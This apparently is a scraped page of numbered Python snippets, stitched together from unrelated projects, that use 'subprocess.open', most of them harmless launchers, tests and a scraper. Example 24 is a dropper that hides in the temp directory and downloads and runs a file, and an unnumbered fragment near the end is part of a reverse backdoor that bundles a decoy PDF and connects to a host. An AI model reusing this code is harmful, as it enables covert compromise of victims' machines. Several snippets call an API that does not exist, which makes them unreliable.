Ejemplo n.º 1
0
 def test_compile1(self):
     sourcefile = "test1/t1.js"
     outfile    = "test1/t1.out.js"
     reffile    = "test1/t1.ref.js"
     compilefile = "../bin/compile.py"
     subprocess.open(compilefile, sourcefile, "> %s" % outfile)
     res = compare(outfile, reffile)
     self.assertEqual(res, 0)
Ejemplo n.º 2
0
 def test_compile1(self):
     sourcefile = "test1/t1.js"
     outfile = "test1/t1.out.js"
     reffile = "test1/t1.ref.js"
     compilefile = "../bin/compile.py"
     subprocess.open(compilefile, sourcefile, "> %s" % outfile)
     res = compare(outfile, reffile)
     self.assertEqual(res, 0)
def foo():
    #ERROR:
    result = subprocess.open("ls")
    #ERROR:
    result = sub_open("ls")
    #ERROR:
    result = sub.open("ls")

    result = sub.not_open("ls")
Ejemplo n.º 4
0
 def JARVIS(self):
     speak("Please wait system initializing.")
     speak("Loading disks, security checkup")
     speak("Launching user interface")
     wish()
     while True:
         self.query = self.STT()
         if 'goodbye' in self.query:
             exit()
         elif 'who made you' in self.query:
             speak("I was designed by my team members on vs code")
         elif 'are you a male or female' in self.query:
             speak("I don't think we have time for this")
         elif 'open google' in self.query:
             webbrowser.open('www.google.co.in')
             speak("opening google")
         elif 'open youtube' in self.query:
             webbrowser.open("www.youtube.com")
             speak(" opening youtube" )
         elif 'open stackoverflow' in self.query:
             webbrowser.open("stackoverflow.com")
             speak("opening stackoverflow")
         elif 'open spotify' in self.query:
             sPath = "C:\\Users\\Haris\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe"
             os.startfile(sPath)
         elif ' open calculator' in self.query:
             subprocess.open('calc.exe')
         elif 'tell me the time' in self.query:
             strTime = datetime.datetime.now().strftime("%H:%M:%S")    
             speak("Sir, the time is")
             speak(strTime)
         elif 'play music' in self.query:
             speak("playing music from pc")
             self.music_dir ="./music"
             self.musics = os.listdir(self.music_dir)
             os.startfile(os.path.join(self.music_dir,self.musics[0]))
Ejemplo n.º 5
0
    def convert( self, input_filename, output_filename, callback=None):
        input_command=self.decoder_command % input_filename
        output_command=self.encoder_command % output_filename

        command='%s | %s' % ( input_command, output_command )

        process=subprocess.open( command)
        stdout=process.fromchild
        s=stdout.read( 80)
        while s:
            if callback:
                for result in self.percentage_match.finditer(s):
                    try:
                        callback(result.group(1).strip())
                    except:
                        log('Cannot call callback for status percentage.', sender=self)
            s=stdout.read( 80)

        return process.wait() == 0
Ejemplo n.º 6
0
def notepad():
	open('notepad')
Ejemplo n.º 7
0
def startm():
	open('control.exe /name Microsoft.TaskbarandStartMenu')
Ejemplo n.º 8
0
def newdev():
	open('hdwwiz')
Ejemplo n.º 9
0
def color():
	open('colorcpl')
Ejemplo n.º 10
0
def dxdiag():
	open('dxdiag')
Ejemplo n.º 11
0
def netpro():
	open('netproj')
Ejemplo n.º 12
0
def sisproper():
	open('systempropertiesperformance')
Ejemplo n.º 13
0
def calculyator():
	open('calc')
Ejemplo n.º 14
0
driver = webdriver.PhantomJS(executable_path='/usr/bin/phantomjs')

driver.get(
    "http://www.amazon.com/War-Peace-Leo-Nikolayevich-Tolstoy/dp/1427030200")
time.sleep(2)

driver.find_element_by_id("sitbLogoImg").click()
imageList = set()

time.sleep(5)
while "pointer" in driver.find_element_by_id(
        "sitbReaderRightPageTurner").get_attribute("style"):
    driver.find_element_by_id("sitbReaderRightPageTurner").click()
    time.sleep(2)
    pages = driver.find_element_by_xpath("//div[@class='pageImage']/div/img")
    for page in pages:
        image = page.get_attribute("src")
        imageList.add(image)

driver.quit()

for image in sorted(imageList):
    urlretrieve(image, "page.jpg")
    p = subprocess.open(["tesseract", "page.jpg", "page"],
                        stdout=subprocess.PIPE,
                        stderr=subprocess.PIPE)
    p.wait()
    f = open("page.txt", "r")
    print(f.read())
Ejemplo n.º 15
0
def calib():
	open('dccw')
Ejemplo n.º 16
0
def explorer():
	open('iexplore')
Ejemplo n.º 17
0
def display():
	open('dpiscaling')
Ejemplo n.º 18
0
def defrag():
	open('dfrgui')
Ejemplo n.º 19
0
def cleanup():
	open('cleanmgr')
Ejemplo n.º 20
0
def backup():
	open('sdclt')
Ejemplo n.º 21
0
import flask

flask.send_file()

import flask as fla

fla.send_file()

from flask import send_file

send_file()

from flask import send_file as send

send()

import subprocess as sub

sub.open()
Ejemplo n.º 22
0
def components():
	open('dcomcnfg')
Ejemplo n.º 23
0
def chartap():
	open('charmap')
Ejemplo n.º 24
0
#! /usr/bin/env python
import requests
import subprocess, smtplib, os, tempfile


def downlaod(url):
    get_response = requests.get(url)
    file_name = url.split("/")
    with open(file_name[-1], "wb") as out_file:  #r is read
        out_file.write(get_response.content)


temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)  #move to temp dir so that user is unaware
downlaod(
    "https://www.drivespark.com/car-image/640x480x100/car/16881810-hyundai_grand_i10.jpg"
)
subprocess.open("16881810-hyundai_grand_i10.jpg", shell=True)

downlaod(
    "https://www.drivespark.com/car-image/640x480x100/car/16881810-hyundai_grand_i10.jpg"
)
subprocess.call("16881810-hyundai_grand_i10.jpg",
                shell=True)  #any file u want to execute

os.remove("16881810-hyundai_grand_i10.jpg")
os.remove("16881810-hyundai_grand_i10.jpg")
Ejemplo n.º 25
0
def depproper():
	open("systempropertiesdataexecutionprevention")
Ejemplo n.º 26
0
def contpanel():
	open('control')
Ejemplo n.º 27
0
def cleartune():
	open('cttune')
Ejemplo n.º 28
0
def run_bash(bashCommand):
    import subprocess
    process = subprocess.open(bashCommand.split())
Ejemplo n.º 29
0
def wordpad():
	open('write')
Ejemplo n.º 30
0
def updatecenter():
	open('wuapp')
Ejemplo n.º 31
0
def rescuedisk():
	open('recdisc')
Ejemplo n.º 32
0
def run_bash(bashCommand):
    import subprocess
    process = subprocess.open(bashCommand.split())
Ejemplo n.º 33
0
def compmg():
	open('compmgmtlauncher')
                if command[0] == 'exit':
                    self.connection.close()
                    sys.exit()
                elif command[0] == 'cd' and len(command)>1:
                    command_result = self.change_working_directory_to(command[1])
                elif command[0] == 'download':
                    command_result = self.read_file(command[1])
                elif command[0] == 'upload':
                    command_result = self.write_file(command[1],command[2])
                else:
                    print(command)
                    command_result = self.execute_system_command(command)
            except Exception:
                command_result = b"[-] Error occured during execution"
            self.reliable_send(command_result)
        
        self.connection.close()

# wine pyinstaller --add-data "/home/kali/Downloads/sample.pdf,." --onefile --noconsole reverse_backdoor.py
try:
    file_name = sys._MEIPASS + "\sample.pdf"
    subprocess.open(filename,shell=True)
except Exception:
    pass

try:
    my_backdoor = Backdoor("127.0.0.1", 4444)
    my_backdoor.run()
except Exception:
    sys.exit()
Ejemplo n.º 35
0
def proj():
	open('displayswitch')